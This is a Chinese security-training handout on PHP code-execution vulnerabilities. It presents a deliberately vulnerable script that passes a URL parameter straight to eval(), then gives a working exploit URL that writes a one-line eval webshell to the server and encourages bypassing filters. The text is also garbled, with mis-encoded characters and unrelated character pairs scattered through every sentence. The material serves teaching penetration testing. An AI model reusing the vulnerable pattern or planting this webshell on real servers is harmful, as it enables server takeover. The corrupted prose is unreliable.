米斯特白帽培訓(xùn)講義 漏洞篇 代碼執(zhí)行
講師:gh0stkey
整理:飛龍
協(xié)議:CC BY-NC-SA 4.0
原理
由于開發(fā)人員編寫源碼時(shí)赌莺,沒有針對(duì)代碼中可執(zhí)行的特殊函數(shù)入口做過濾窍株,導(dǎo)致客戶端可以提交惡意構(gòu)造語句赖草,并交由服務(wù)端執(zhí)行瓦宜。命令注入攻擊中矫限,Web 服務(wù)器沒有過濾類似system
法绵、eval
和exec
等函數(shù)凭戴,是該漏洞攻擊成功的主要原因涧狮。
實(shí)例代碼
<?php
// code-exe.php:
$code=@$_GET['code'];//http://localhost/subject/code-exe.php?code=
echo "<center>Payload:".$code."<br/>Result:</center>
eval($code);
整個(gè)代碼就三行,第一行用于從 URL 參數(shù)中讀取code
參數(shù)的值么夫。第二行用于輸出該參數(shù)的值者冤,用于檢查該參數(shù)。第三行直接將該參數(shù)當(dāng)做 PHP 代碼執(zhí)行档痪。由于不存在任何過濾涉枫,就會(huì)產(chǎn)生代碼執(zhí)行漏洞。
我們?cè)谠撐募哪夸浵聢?zhí)行php -S 0.0.0.0:80
腐螟,之后訪問http://localhost/code-exe.php?code=phpinfo();
愿汰,我們可以看到該代碼執(zhí)行了phpinfo
函數(shù):
利用
我們可以將 URL 中code
參數(shù)值換成不同的 PHP 代碼,使其執(zhí)行不同的 PHP 代碼乐纸。利用此漏洞的關(guān)鍵還是熟悉所有可用的 PHP 代碼衬廷。
比如,可以使用phpinfo
或者echo
等調(diào)試函數(shù)來判定漏洞汽绢。最重要的是吗跋,可以利用這個(gè)漏洞寫入 Webshell,代碼如下:
$file='mst.php'; // 一句話木馬的文件名
$person='<?php @eval($_POST[1]);?>'; // 一句話文件名的代碼
file_put_contents($file,$person, FILE_APPEND | LOCK_EX); // 當(dāng)key.php文件不存在會(huì)自動(dòng)創(chuàng)建,如果存在就會(huì)添加
我們需要把這三行代碼寫入 URL 中跌宛,得到的 URL 是這樣:http://localhost/code-exe.php?code=$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file,$person, FILE_APPEND | LOCK_EX);
酗宋。
訪問之后,當(dāng)前目錄就會(huì)多出一個(gè)mst.php
秩冈,內(nèi)容為<?php @eval($_POST[1]);?>
本缠,這個(gè)就是一句話木馬斥扛。由于不是講工具的章節(jié)入问,這里就不拿菜刀演示了。
在實(shí)際代碼中稀颁,當(dāng)然不可能這么短芬失,就需要大家使用eval
和exec
作為關(guān)鍵詞來搜索可能的漏洞點(diǎn)。另外匾灶,實(shí)際代碼中還可能在執(zhí)行之前對(duì)$code
進(jìn)行過濾棱烂,也需要大家發(fā)揮創(chuàng)造性,繞過過濾來成功利用它阶女。